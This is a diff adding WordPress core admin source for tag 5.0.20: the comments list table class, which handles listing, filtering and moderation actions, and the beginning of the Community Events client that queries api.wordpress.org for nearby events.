+			'singular' => 'comment',
+			'ajax' => true,
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+	}
+
+	public function floated_admin_avatar( $name, $comment_ID ) {
+		$comment = get_comment( $comment_ID );
+		$avatar = get_avatar( $comment, 32, 'mystery' );
+		return "$avatar $name";
+	}
+
+	/**
+	 * @return bool
+	 */
+	public function ajax_user_can() {
+		return current_user_can('edit_posts');
+	}
+
+	/**
+	 *
+	 * @global int    $post_id
+	 * @global string $comment_status
+	 * @global string $search
+	 * @global string $comment_type
+	 */
+	public function prepare_items() {
+		global $post_id, $comment_status, $search, $comment_type;
+
+		$comment_status = isset( $_REQUEST['comment_status'] ) ? $_REQUEST['comment_status'] : 'all';
+		if ( !in_array( $comment_status, array( 'all', 'moderated', 'approved', 'spam', 'trash' ) ) )
+			$comment_status = 'all';
+
+		$comment_type = !empty( $_REQUEST['comment_type'] ) ? $_REQUEST['comment_type'] : '';
+
+		$search = ( isset( $_REQUEST['s'] ) ) ? $_REQUEST['s'] : '';
+
+		$post_type = ( isset( $_REQUEST['post_type'] ) ) ? sanitize_key( $_REQUEST['post_type'] ) : '';
+
+		$user_id = ( isset( $_REQUEST['user_id'] ) ) ? $_REQUEST['user_id'] : '';
+
+		$orderby = ( isset( $_REQUEST['orderby'] ) ) ? $_REQUEST['orderby'] : '';
+		$order = ( isset( $_REQUEST['order'] ) ) ? $_REQUEST['order'] : '';
+
+		$comments_per_page = $this->get_per_page( $comment_status );
+
+		$doing_ajax = wp_doing_ajax();
+
+		if ( isset( $_REQUEST['number'] ) ) {
+			$number = (int) $_REQUEST['number'];
+		}
+		else {
+			$number = $comments_per_page + min( 8, $comments_per_page ); // Grab a few extra
+		}
+
+		$page = $this->get_pagenum();
+
+		if ( isset( $_REQUEST['start'] ) ) {
+			$start = $_REQUEST['start'];
+		} else {
+			$start = ( $page - 1 ) * $comments_per_page;
+		}
+
+		if ( $doing_ajax && isset( $_REQUEST['offset'] ) ) {
+			$start += $_REQUEST['offset'];
+		}
+
+		$status_map = array(
+			'moderated' => 'hold',
+			'approved' => 'approve',
+			'all' => '',
+		);
+
+		$args = array(
+			'status' => isset( $status_map[$comment_status] ) ? $status_map[$comment_status] : $comment_status,
+			'search' => $search,
+			'user_id' => $user_id,
+			'offset' => $start,
+			'number' => $number,
+			'post_id' => $post_id,
+			'type' => $comment_type,
+			'orderby' => $orderby,
+			'order' => $order,
+			'post_type' => $post_type,
+		);
+
+		$_comments = get_comments( $args );
+		if ( is_array( $_comments ) ) {
+			update_comment_cache( $_comments );
+
+			$this->items = array_slice( $_comments, 0, $comments_per_page );
+			$this->extra_items = array_slice( $_comments, $comments_per_page );
+
+			$_comment_post_ids = array_unique( wp_list_pluck( $_comments, 'comment_post_ID' ) );
+
+			$this->pending_count = get_pending_comments_num( $_comment_post_ids );
+		}
+
+		$total_comments = get_comments( array_merge( $args, array(
+			'count' => true,
+			'offset' => 0,
+			'number' => 0
+		) ) );
+
+		$this->set_pagination_args( array(
+			'total_items' => $total_comments,
+			'per_page' => $comments_per_page,
+		) );
+	}
+
+	/**
+	 *
+	 * @param string $comment_status
+	 * @return int
+	 */
+	public function get_per_page( $comment_status = 'all' ) {
+		$comments_per_page = $this->get_items_per_page( 'edit_comments_per_page' );
+		/**
+		 * Filters the number of comments listed per page in the comments list table.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param int    $comments_per_page The number of comments to list per page.
+		 * @param string $comment_status    The comment status name. Default 'All'.
+		 */
+		return apply_filters( 'comments_per_page', $comments_per_page, $comment_status );
+	}
+
+	/**
+	 *
+	 * @global string $comment_status
+	 */
+	public function no_items() {
+		global $comment_status;
+
+		if ( 'moderated' === $comment_status ) {
+			_e( 'No comments awaiting moderation.' );
+		} else {
+			_e( 'No comments found.' );
+		}
+	}
+
+	/**
+	 *
+	 * @global int $post_id
+	 * @global string $comment_status
+	 * @global string $comment_type
+	 */
+	protected function get_views() {
+		global $post_id, $comment_status, $comment_type;
+
+		$status_links = array();
+		$num_comments = ( $post_id ) ? wp_count_comments( $post_id ) : wp_count_comments();
+
+		$stati = array(
+			/* translators: %s: all comments count */
+			'all' => _nx_noop(
+				'All <span class="count">(%s)</span>',
+				'All <span class="count">(%s)</span>',
+				'comments'
+			), // singular not used
+
+			/* translators: %s: pending comments count */
+			'moderated' => _nx_noop(
+				'Pending <span class="count">(%s)</span>',
+				'Pending <span class="count">(%s)</span>',
+				'comments'
+			),
+
+			/* translators: %s: approved comments count */
+			'approved' => _nx_noop(
+				'Approved <span class="count">(%s)</span>',
+				'Approved <span class="count">(%s)</span>',
+				'comments'
+			),
+
+			/* translators: %s: spam comments count */
+			'spam' => _nx_noop(
+				'Spam <span class="count">(%s)</span>',
+				'Spam <span class="count">(%s)</span>',
+				'comments'
+			),
+
+			/* translators: %s: trashed comments count */
+			'trash' => _nx_noop(
+				'Trash <span class="count">(%s)</span>',
+				'Trash <span class="count">(%s)</span>',
+				'comments'
+			)
+		);
+
+		if ( !EMPTY_TRASH_DAYS )
+			unset($stati['trash']);
+
+		$link = admin_url( 'edit-comments.php' );
+		if ( !empty($comment_type) && 'all' != $comment_type )
+			$link = add_query_arg( 'comment_type', $comment_type, $link );
+
+		foreach ( $stati as $status => $label ) {
+			$current_link_attributes = '';
+
+			if ( $status === $comment_status ) {
+				$current_link_attributes = ' class="current" aria-current="page"';
+			}
+
+			if ( !isset( $num_comments->$status ) )
+				$num_comments->$status = 10;
+			$link = add_query_arg( 'comment_status', $status, $link );
+			if ( $post_id )
+				$link = add_query_arg( 'p', absint( $post_id ), $link );
+			/*
+			// I toyed with this, but decided against it. Leaving it in here in case anyone thinks it is a good idea. ~ Mark
+			if ( !empty( $_REQUEST['s'] ) )
+				$link = add_query_arg( 's', esc_attr( wp_unslash( $_REQUEST['s'] ) ), $link );
+			*/
+			$status_links[ $status ] = "<a href='$link'$current_link_attributes>" . sprintf(
+				translate_nooped_plural( $label, $num_comments->$status ),
+				sprintf( '<span class="%s-count">%s</span>',
+					( 'moderated' === $status ) ? 'pending' : $status,
+					number_format_i18n( $num_comments->$status )
+				)
+			) . '</a>';
+		}
+
+		/**
+		 * Filters the comment status links.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param array $status_links An array of fully-formed status links. Default 'All'.
+		 *                            Accepts 'All', 'Pending', 'Approved', 'Spam', and 'Trash'.
+		 */
+		return apply_filters( 'comment_status_links', $status_links );
+	}
+
+	/**
+	 *
+	 * @global string $comment_status
+	 *
+	 * @return array
+	 */
+	protected function get_bulk_actions() {
+		global $comment_status;
+
+		$actions = array();
+		if ( in_array( $comment_status, array( 'all', 'approved' ) ) )
+			$actions['unapprove'] = __( 'Unapprove' );
+		if ( in_array( $comment_status, array( 'all', 'moderated' ) ) )
+			$actions['approve'] = __( 'Approve' );
+		if ( in_array( $comment_status, array( 'all', 'moderated', 'approved', 'trash' ) ) )
+			$actions['spam'] = _x( 'Mark as Spam', 'comment' );
+
+		if ( 'trash' === $comment_status ) {
+			$actions['untrash'] = __( 'Restore' );
+		} elseif ( 'spam' === $comment_status ) {
+			$actions['unspam'] = _x( 'Not Spam', 'comment' );
+		}
+
+		if ( in_array( $comment_status, array( 'trash', 'spam' ) ) || !EMPTY_TRASH_DAYS )
+			$actions['delete'] = __( 'Delete Permanently' );
+		else
+			$actions['trash'] = __( 'Move to Trash' );
+
+		return $actions;
+	}
+
+	/**
+	 *
+	 * @global string $comment_status
+	 * @global string $comment_type
+	 *
+	 * @param string $which
+	 */
+	protected function extra_tablenav( $which ) {
+		global $comment_status, $comment_type;
+		static $has_items;
+
+		if ( ! isset( $has_items ) ) {
+			$has_items = $this->has_items();
+		}
+?>
+		<div class="alignleft actions">
+<?php
+		if ( 'top' === $which ) {
+?>
+			<label class="screen-reader-text" for="filter-by-comment-type"><?php _e( 'Filter by comment type' ); ?></label>
+			<select id="filter-by-comment-type" name="comment_type">
+				<option value=""><?php _e( 'All comment types' ); ?></option>
+<?php
+				/**
+				 * Filters the comment types dropdown menu.
+				 *
+				 * @since 2.7.0
+				 *
+				 * @param array $comment_types An array of comment types. Accepts 'Comments', 'Pings'.
+				 */
+				$comment_types = apply_filters( 'admin_comment_types_dropdown', array(
+					'comment' => __( 'Comments' ),
+					'pings' => __( 'Pings' ),
+				) );
+
+				foreach ( $comment_types as $type => $label )
+					echo "\t" . '<option value="' . esc_attr( $type ) . '"' . selected( $comment_type, $type, false ) . ">$label</option>\n";
+			?>
+			</select>
+<?php
+			/**
+			 * Fires just before the Filter submit button for comment types.
+			 *
+			 * @since 3.5.0
+			 */
+			do_action( 'restrict_manage_comments' );
+			submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
+		}
+
+		if ( ( 'spam' === $comment_status || 'trash' === $comment_status ) && current_user_can( 'moderate_comments' ) && $has_items ) {
+			wp_nonce_field( 'bulk-destroy', '_destroy_nonce' );
+			$title = ( 'spam' === $comment_status ) ? esc_attr__( 'Empty Spam' ) : esc_attr__( 'Empty Trash' );
+			submit_button( $title, 'apply', 'delete_all', false );
+		}
+		/**
+		 * Fires after the Filter submit button for comment types.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param string $comment_status The comment status name. Default 'All'.
+		 */
+		do_action( 'manage_comments_nav', $comment_status );
+		echo '</div>';
+	}
+
+	/**
+	 * @return string|false
+	 */
+	public function current_action() {
+		if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) )
+			return 'delete_all';
+
+		return parent::current_action();
+	}
+
+	/**
+	 *
+	 * @global int $post_id
+	 *
+	 * @return array
+	 */
+	public function get_columns() {
+		global $post_id;
+
+		$columns = array();
+
+		if ( $this->checkbox )
+			$columns['cb'] = '<input type="checkbox" />';
+
+		$columns['author'] = __( 'Author' );
+		$columns['comment'] = _x( 'Comment', 'column name' );
+
+		if ( ! $post_id ) {
+			/* translators: column name or table row header */
+			$columns['response'] = __( 'In Response To' );
+		}
+
+		$columns['date'] = _x( 'Submitted On', 'column name' );
+
+		return $columns;
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_sortable_columns() {
+		return array(
+			'author'   => 'comment_author',
+			'response' => 'comment_post_ID',
+			'date'     => 'comment_date'
+		);
+	}
+
+	/**
+	 * Get the name of the default primary column.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return string Name of the default primary column, in this case, 'comment'.
+	 */
+	protected function get_default_primary_column_name() {
+		return 'comment';
+	}
+
+	/**
+	 */
+	public function display() {
+		wp_nonce_field( "fetch-list-" . get_class( $this ), '_ajax_fetch_list_nonce' );
+
+		$this->display_tablenav( 'top' );
+
+		$this->screen->render_screen_reader_content( 'heading_list' );
+
+?>
+<table class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
+	<thead>
+	<tr>
+		<?php $this->print_column_headers(); ?>
+	</tr>
+	</thead>
+
+	<tbody id="the-comment-list" data-wp-lists="list:comment">
+		<?php $this->display_rows_or_placeholder(); ?>
+	</tbody>
+
+	<tbody id="the-extra-comment-list" data-wp-lists="list:comment" style="display: none;">
+		<?php
+			$this->items = $this->extra_items;
+			$this->display_rows_or_placeholder();
+		?>
+	</tbody>
+
+	<tfoot>
+	<tr>
+		<?php $this->print_column_headers( false ); ?>
+	</tr>
+	</tfoot>
+
+</table>
+<?php
+
+		$this->display_tablenav( 'bottom' );
+	}
+
+	/**
+	 * @global WP_Post    $post
+	 * @global WP_Comment $comment
+	 *
+	 * @param WP_Comment $item
+	 */
+	public function single_row( $item ) {
+		global $post, $comment;
+
+		$comment = $item;
+
+		$the_comment_class = wp_get_comment_status( $comment );
+		if ( ! $the_comment_class ) {
+			$the_comment_class = '';
+		}
+		$the_comment_class = join( ' ', get_comment_class( $the_comment_class, $comment, $comment->comment_post_ID ) );
+
+		if ( $comment->comment_post_ID > 0 ) {
+			$post = get_post( $comment->comment_post_ID );
+		}
+		$this->user_can = current_user_can( 'edit_comment', $comment->comment_ID );
+
+		$edit_post_cap = $post ? 'edit_post' : 'edit_posts';
+		if (
+			current_user_can( $edit_post_cap, $comment->comment_post_ID ) ||
+			(
+				empty( $post->post_password ) &&
+				current_user_can( 'read_post', $comment->comment_post_ID )
+			)
+		) {
+			// The user has access to the post
+		} else {
+			return false;
+		}
+
+		echo "<tr id='comment-$comment->comment_ID' class='$the_comment_class'>";
+		$this->single_row_columns( $comment );
+		echo "</tr>\n";
+
+		unset( $GLOBALS['post'], $GLOBALS['comment'] );
+	}
+
+ 	/**
+ 	 * Generate and display row actions links.
+ 	 *
+ 	 * @since 4.3.0
+ 	 *
+ 	 * @global string $comment_status Status for the current listed comments.
+ 	 *
+ 	 * @param WP_Comment $comment     The comment object.
+ 	 * @param string     $column_name Current column name.
+ 	 * @param string     $primary     Primary column name.
+ 	 * @return string|void Comment row actions output.
+ 	 */
+ 	protected function handle_row_actions( $comment, $column_name, $primary ) {
+ 		global $comment_status;
+
+		if ( $primary !== $column_name ) {
+			return '';
+		}
+
+ 		if ( ! $this->user_can ) {
+ 			return;
+		}
+
+		$the_comment_status = wp_get_comment_status( $comment );
+
+		$out = '';
+
+		$del_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "delete-comment_$comment->comment_ID" ) );
+		$approve_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "approve-comment_$comment->comment_ID" ) );
+
+		$url = "comment.php?c=$comment->comment_ID";
+
+		$approve_url = esc_url( $url . "&action=approvecomment&$approve_nonce" );
+		$unapprove_url = esc_url( $url . "&action=unapprovecomment&$approve_nonce" );
+		$spam_url = esc_url( $url . "&action=spamcomment&$del_nonce" );
+		$unspam_url = esc_url( $url . "&action=unspamcomment&$del_nonce" );
+		$trash_url = esc_url( $url . "&action=trashcomment&$del_nonce" );
+		$untrash_url = esc_url( $url . "&action=untrashcomment&$del_nonce" );
+		$delete_url = esc_url( $url . "&action=deletecomment&$del_nonce" );
+
+		// Preorder it: Approve | Reply | Quick Edit | Edit | Spam | Trash.
+		$actions = array(
+			'approve' => '', 'unapprove' => '',
+			'reply' => '',
+			'quickedit' => '',
+			'edit' => '',
+			'spam' => '', 'unspam' => '',
+			'trash' => '', 'untrash' => '', 'delete' => ''
+		);
+
+		// Not looking at all comments.
+		if ( $comment_status && 'all' != $comment_status ) {
+			if ( 'approved' === $the_comment_status ) {
+				$actions['unapprove'] = "<a href='$unapprove_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID:e7e7d3:action=dim-comment&amp;new=unapproved' class='vim-u vim-destructive' aria-label='" . esc_attr__( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>';
+			} elseif ( 'unapproved' === $the_comment_status ) {
+				$actions['approve'] = "<a href='$approve_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID:e7e7d3:action=dim-comment&amp;new=approved' class='vim-a vim-destructive' aria-label='" . esc_attr__( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>';
+			}
+		} else {
+			$actions['approve'] = "<a href='$approve_url' data-wp-lists='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=approved' class='vim-a' aria-label='" . esc_attr__( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>';
+			$actions['unapprove'] = "<a href='$unapprove_url' data-wp-lists='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=unapproved' class='vim-u' aria-label='" . esc_attr__( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>';
+		}
+
+		if ( 'spam' !== $the_comment_status ) {
+			$actions['spam'] = "<a href='$spam_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::spam=1' class='vim-s vim-destructive' aria-label='" . esc_attr__( 'Mark this comment as spam' ) . "'>" . /* translators: mark as spam link */ _x( 'Spam', 'verb' ) . '</a>';
+		} elseif ( 'spam' === $the_comment_status ) {
+			$actions['unspam'] = "<a href='$unspam_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID:66cc66:unspam=1' class='vim-z vim-destructive' aria-label='" . esc_attr__( 'Restore this comment from the spam' ) . "'>" . _x( 'Not Spam', 'comment' ) . '</a>';
+		}
+
+		if ( 'trash' === $the_comment_status ) {
+			$actions['untrash'] = "<a href='$untrash_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID:66cc66:untrash=1' class='vim-z vim-destructive' aria-label='" . esc_attr__( 'Restore this comment from the Trash' ) . "'>" . __( 'Restore' ) . '</a>';
+		}
+
+		if ( 'spam' === $the_comment_status || 'trash' === $the_comment_status || !EMPTY_TRASH_DAYS ) {
+			$actions['delete'] = "<a href='$delete_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::delete=1' class='delete vim-d vim-destructive' aria-label='" . esc_attr__( 'Delete this comment permanently' ) . "'>" . __( 'Delete Permanently' ) . '</a>';
+		} else {
+			$actions['trash'] = "<a href='$trash_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::trash=1' class='delete vim-d vim-destructive' aria-label='" . esc_attr__( 'Move this comment to the Trash' ) . "'>" . _x( 'Trash', 'verb' ) . '</a>';
+		}
+
+		if ( 'spam' !== $the_comment_status && 'trash' !== $the_comment_status ) {
+			$actions['edit'] = "<a href='comment.php?action=editcomment&amp;c={$comment->comment_ID}' aria-label='" . esc_attr__( 'Edit this comment' ) . "'>". __( 'Edit' ) . '</a>';
+
+			$format = '<a data-comment-id="%d" data-post-id="%d" data-action="%s" class="%s" aria-label="%s" href="#">%s</a>';
+
+			$actions['quickedit'] = sprintf( $format, $comment->comment_ID, $comment->comment_post_ID, 'edit', 'vim-q comment-inline', esc_attr__( 'Quick edit this comment inline' ), __( 'Quick&nbsp;Edit' ) );
+
+			$actions['reply'] = sprintf( $format, $comment->comment_ID, $comment->comment_post_ID, 'replyto', 'vim-r comment-inline', esc_attr__( 'Reply to this comment' ), __( 'Reply' ) );
+		}
+
+		/** This filter is documented in wp-admin/includes/dashboard.php */
+		$actions = apply_filters( 'comment_row_actions', array_filter( $actions ), $comment );
+
+		$i = 0;
+		$out .= '<div class="row-actions">';
+		foreach ( $actions as $action => $link ) {
+			++$i;
+			( ( ( 'approve' === $action || 'unapprove' === $action ) && 2 === $i ) || 1 === $i ) ? $sep = '' : $sep = ' | ';
+
+			// Reply and quickedit need a hide-if-no-js span when not added with ajax
+			if ( ( 'reply' === $action || 'quickedit' === $action ) && ! wp_doing_ajax() )
+				$action .= ' hide-if-no-js';
+			elseif ( ( $action === 'untrash' && $the_comment_status === 'trash' ) || ( $action === 'unspam' && $the_comment_status === 'spam' ) ) {
+				if ( '1' == get_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', true ) )
+					$action .= ' approve';
+				else
+					$action .= ' unapprove';
+			}
+
+			$out .= "<span class='$action'>$sep$link</span>";
+		}
+		$out .= '</div>';
+
+		$out .= '<button type="button" class="toggle-row"><span class="screen-reader-text">' . __( 'Show more details' ) . '</span></button>';
+
+		return $out;
+	}
+
+	/**
+	 *
+	 * @param WP_Comment $comment The comment object.
+	 */
+	public function column_cb( $comment ) {
+		if ( $this->user_can ) { ?>
+		<label class="screen-reader-text" for="cb-select-<?php echo $comment->comment_ID; ?>"><?php _e( 'Select comment' ); ?></label>
+		<input id="cb-select-<?php echo $comment->comment_ID; ?>" type="checkbox" name="delete_comments[]" value="<?php echo $comment->comment_ID; ?>" />
+		<?php
+		}
+	}
+
+	/**
+	 * @param WP_Comment $comment The comment object.
+	 */
+	public function column_comment( $comment ) {
+		echo '<div class="comment-author">';
+			$this->column_author( $comment );
+		echo '</div>';
+
+		if ( $comment->comment_parent ) {
+			$parent = get_comment( $comment->comment_parent );
+			if ( $parent ) {
+				$parent_link = esc_url( get_comment_link( $parent ) );
+				$name = get_comment_author( $parent );
+				printf(
+					/* translators: %s: comment link */
+					__( 'In reply to %s.' ),
+					'<a href="' . $parent_link . '">' . $name . '</a>'
+				);
+			}
+		}
+
+		comment_text( $comment );
+		if ( $this->user_can ) { ?>
+		<div id="inline-<?php echo $comment->comment_ID; ?>" class="hidden">
+		<textarea class="comment" rows="1" cols="1"><?php
+			/** This filter is documented in wp-admin/includes/comment.php */
+			echo esc_textarea( apply_filters( 'comment_edit_pre', $comment->comment_content ) );
+		?></textarea>
+		<div class="author-email"><?php echo esc_attr( $comment->comment_author_email ); ?></div>
+		<div class="author"><?php echo esc_attr( $comment->comment_author ); ?></div>
+		<div class="author-url"><?php echo esc_attr( $comment->comment_author_url ); ?></div>
+		<div class="comment_status"><?php echo $comment->comment_approved; ?></div>
+		</div>
+		<?php
+		}
+	}
+
+	/**
+	 *
+	 * @global string $comment_status
+	 *
+	 * @param WP_Comment $comment The comment object.
+	 */
+	public function column_author( $comment ) {
+		global $comment_status;
+
+		$author_url = get_comment_author_url( $comment );
+
+		$author_url_display = untrailingslashit( preg_replace( '|^http(s)?://(www\.)?|i', '', $author_url ) );
+		if ( strlen( $author_url_display ) > 50 ) {
+			$author_url_display = wp_html_excerpt( $author_url_display, 49, '&hellip;' );
+		}
+
+		echo "<strong>"; comment_author( $comment ); echo '</strong><br />';
+		if ( ! empty( $author_url_display ) ) {
+			printf( '<a href="%s">%s</a><br />', esc_url( $author_url ), esc_html( $author_url_display ) );
+		}
+
+		if ( $this->user_can ) {
+			if ( ! empty( $comment->comment_author_email ) ) {
+				/** This filter is documented in wp-includes/comment-template.php */
+				$email = apply_filters( 'comment_email', $comment->comment_author_email, $comment );
+
+				if ( ! empty( $email ) && '@' !== $email ) {
+					printf( '<a href="%1$s">%2$s</a><br />', esc_url( 'mailto:' . $email ), esc_html( $email ) );
+				}
+			}
+
+			$author_ip = get_comment_author_IP( $comment );
+			if ( $author_ip ) {
+				$author_ip_url = add_query_arg( array( 's' => $author_ip, 'mode' => 'detail' ), admin_url( 'edit-comments.php' ) );
+				if ( 'spam' === $comment_status ) {
+					$author_ip_url = add_query_arg( 'comment_status', 'spam', $author_ip_url );
+				}
+				printf( '<a href="%1$s">%2$s</a>', esc_url( $author_ip_url ), esc_html( $author_ip ) );
+			}
+		}
+	}
+
+	/**
+	 *
+	 * @param WP_Comment $comment The comment object.
+	 */
+	public function column_date( $comment ) {
+		/* translators: 1: comment date, 2: comment time */
+		$submitted = sprintf( __( '%1$s at %2$s' ),
+			/* translators: comment date format. See https://secure.php.net/date */
+			get_comment_date( __( 'Y/m/d' ), $comment ),
+			get_comment_date( __( 'g:i a' ), $comment )
+		);
+
+		echo '<div class="submitted-on">';
+		if ( 'approved' === wp_get_comment_status( $comment ) && ! empty ( $comment->comment_post_ID ) ) {
+			printf(
+				'<a href="%s">%s</a>',
+				esc_url( get_comment_link( $comment ) ),
+				$submitted
+			);
+		} else {
+			echo $submitted;
+		}
+		echo '</div>';
+	}
+
+	/**
+	 *
+	 * @param WP_Comment $comment The comment object.
+	 */
+	public function column_response( $comment ) {
+		$post = get_post();
+
+		if ( ! $post ) {
+			return;
+		}
+
+		if ( isset( $this->pending_count[$post->ID] ) ) {
+			$pending_comments = $this->pending_count[$post->ID];
+		} else {
+			$_pending_count_temp = get_pending_comments_num( array( $post->ID ) );
+			$pending_comments = $this->pending_count[$post->ID] = $_pending_count_temp[$post->ID];
+		}
+
+		if ( current_user_can( 'edit_post', $post->ID ) ) {
+			$post_link = "<a href='" . get_edit_post_link( $post->ID ) . "' class='comments-edit-item-link'>";
+			$post_link .= esc_html( get_the_title( $post->ID ) ) . '</a>';
+		} else {
+			$post_link = esc_html( get_the_title( $post->ID ) );
+		}
+
+		echo '<div class="response-links">';
+		if ( 'attachment' === $post->post_type && ( $thumb = wp_get_attachment_image( $post->ID, array( 80, 60 ), true ) ) ) {
+			echo $thumb;
+		}
+		echo $post_link;
+		$post_type_object = get_post_type_object( $post->post_type );
+		echo "<a href='" . get_permalink( $post->ID ) . "' class='comments-view-item-link'>" . $post_type_object->labels->view_item . '</a>';
+		echo '<span class="post-com-count-wrapper post-com-count-', $post->ID, '">';
+		$this->comments_bubble( $post->ID, $pending_comments );
+		echo '</span> ';
+		echo '</div>';
+	}
+
+	/**
+	 *
+	 * @param WP_Comment $comment     The comment object.
+	 * @param string     $column_name The custom column's name.
+	 */
+	public function column_default( $comment, $column_name ) {
+		/**
+		 * Fires when the default column output is displayed for a single row.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string $column_name         The custom column's name.
+		 * @param int    $comment->comment_ID The custom column's unique ID number.
+		 */
+		do_action( 'manage_comments_custom_column', $column_name, $comment->comment_ID );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-community-events.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-community-events.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-community-events.php	(revision 56912)
@@ -0,0 +1,462 @@
+<?php
+/**
+ * Administration: Community Events class.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.8.0
+ */
+
+/**
+ * Class WP_Community_Events.
+ *
+ * A client for api.wordpress.org/events.
+ *
+ * @since 4.8.0
+ */
+class WP_Community_Events {
+	/**
+	 * ID for a WordPress user account.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @var int
+	 */
+	protected $user_id = 0;
+
+	/**
+	 * Stores location data for the user.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @var bool|array
+	 */
+	protected $user_location = false;
+
+	/**
+	 * Constructor for WP_Community_Events.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param int        $user_id       WP user ID.
+	 * @param bool|array $user_location Stored location data for the user.
+	 *                                  false to pass no location;
+	 *                                  array to pass a location {
+	 *     @type string $description The name of the location
+	 *     @type string $latitude    The latitude in decimal degrees notation, without the degree
+	 *                               symbol. e.g.: 47.615200.
+	 *     @type string $longitude   The longitude in decimal degrees notation, without the degree
+	 *                               symbol. e.g.: -122.341100.
+	 *     @type string $country     The ISO 3166-1 alpha-2 country code. e.g.: BR
+	 * }
+	 */
+	public function __construct( $user_id, $user_location = false ) {
+		$this->user_id       = absint( $user_id );
+		$this->user_location = $user_location;
+	}
+
+	/**
+	 * Gets data about events near a particular location.
+	 *
+	 * Cached events will be immediately returned if the `user_location` property
+	 * is set for the current user, and cached events exist for that location.
+	 *
+	 * Otherwise, this method sends a request to the w.org Events API with location
+	 * data. The API will send back a recognized location based on the data, along
+	 * with nearby events.
+	 *
+	 * The browser's request for events is proxied with this method, rather
+	 * than having the browser make the request directly to api.wordpress.org,
+	 * because it allows results to be cached server-side and shared with other
+	 * users and sites in the network. This makes the process more efficient,
+	 * since increasing the number of visits that get cached data means users
+	 * don't have to wait as often; if the user's browser made the request
+	 * directly, it would also need to make a second request to WP in order to
+	 * pass the data for caching. Having WP make the request also introduces
+	 * the opportunity to anonymize the IP before sending it to w.org, which
+	 * mitigates possible privacy concerns.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param string $location_search Optional. City name to help determine the location.
+	 *                                e.g., "Seattle". Default empty string.
+	 * @param string $timezone        Optional. Timezone to help determine the location.
+	 *                                Default empty string.
+	 * @return array|WP_Error A WP_Error on failure; an array with location and events on
+	 *                        success.
+	 */
+	public function get_events( $location_search = '', $timezone = '' ) {
+		$cached_events = $this->get_cached_events();
+
+		if ( ! $location_search && $cached_events ) {
+			return $cached_events;
+		}
+
+		// include an unmodified $wp_version
+		include( ABSPATH . WPINC . '/version.php' );
+
+		$api_url      = 'http://api.wordpress.org/events/1.0/';
+		$request_args = $this->get_request_args( $location_search, $timezone );
+		$request_args['user-agent'] = 'WordPress/' . $wp_version . '; ' . home_url( '/' );
+
+		if ( wp_http_supports( array( 'ssl' ) ) ) {
+			$api_url = set_url_scheme( $api_url, 'https' );
+		}
+
+		$response       = wp_remote_get( $api_url, $request_args );
+		$response_code  = wp_remote_retrieve_response_code( $response );
+		$response_body  = json_decode( wp_remote_retrieve_body( $response ), true );
+		$response_error = null;
+
+		if ( is_wp_error( $response ) ) {
+			$response_error = $response;
+		} elseif ( 200 !== $response_code ) {
+			$response_error = new WP_Error(
+				'api-error',
+				/* translators: %d: numeric HTTP status code, e.g. 400, 403, 500, 504, etc. */
+				sprintf( __( 'Invalid API response code (%d)' ), $response_code )
+			);
+		} elseif ( ! isset( $response_body['location'], $response_body['events'] ) ) {
+			$response_error = new WP_Error(
+				'api-invalid-response',
+				isset( $response_body['error'] ) ? $response_body['error'] : __( 'Unknown API error.' )
+			);
+		}
+
+		if ( is_wp_error( $response_error ) ) {
+			return $response_error;
+		} else {
+			$expiration = false;
+
+			if ( isset( $response_body['ttl'] ) ) {
+				$expiration = $response_body['ttl'];
+				unset( $response_body['ttl'] );
+			}
+
+			/*
+			 * The IP in the response is usually the same as the one that was sent
+			 * in the request, but in some cases it is different. In those cases,
+			 * it's important to reset it back to the IP from the request.
+			 *
+			 * For example, if the IP sent in the request is private (e.g., 192.168.1.100),
+			 * then the API will ignore that and use the corresponding public IP instead,
+			 * and the public IP will get returned. If the public IP were saved, though,
+			 * then get_cached_events() would always return `false`, because the transient
+			 * would be generated based on the public IP when saving the cache, but generated
+			 * based on the private IP when retrieving the cache.
+			 */
+			if ( ! empty( $response_body['location']['ip'] ) ) {
+				$response_body['location']['ip'] = $request_args['body']['ip'];
+			}
+
+			/*
+			 * The API doesn't return a description for latitude/longitude requests,
+			 * but the description is already saved in the user location, so that
+			 * one can be used instead.
+			 */
+			if ( $this->coordinates_match( $request_args['body'], $response_body['location'] ) && empty( $response_body['location']['description'] ) ) {
+				$response_body['location']['description'] = $this->user_location['description'];
+			}
+
+			$this->cache_events( $response_body, $expiration );
+
+			$response_body = $this->trim_events( $response_body );
+			$response_body = $this->format_event_data_time( $response_body );
+
+			return $response_body;
+		}
+	}
+
+	/**
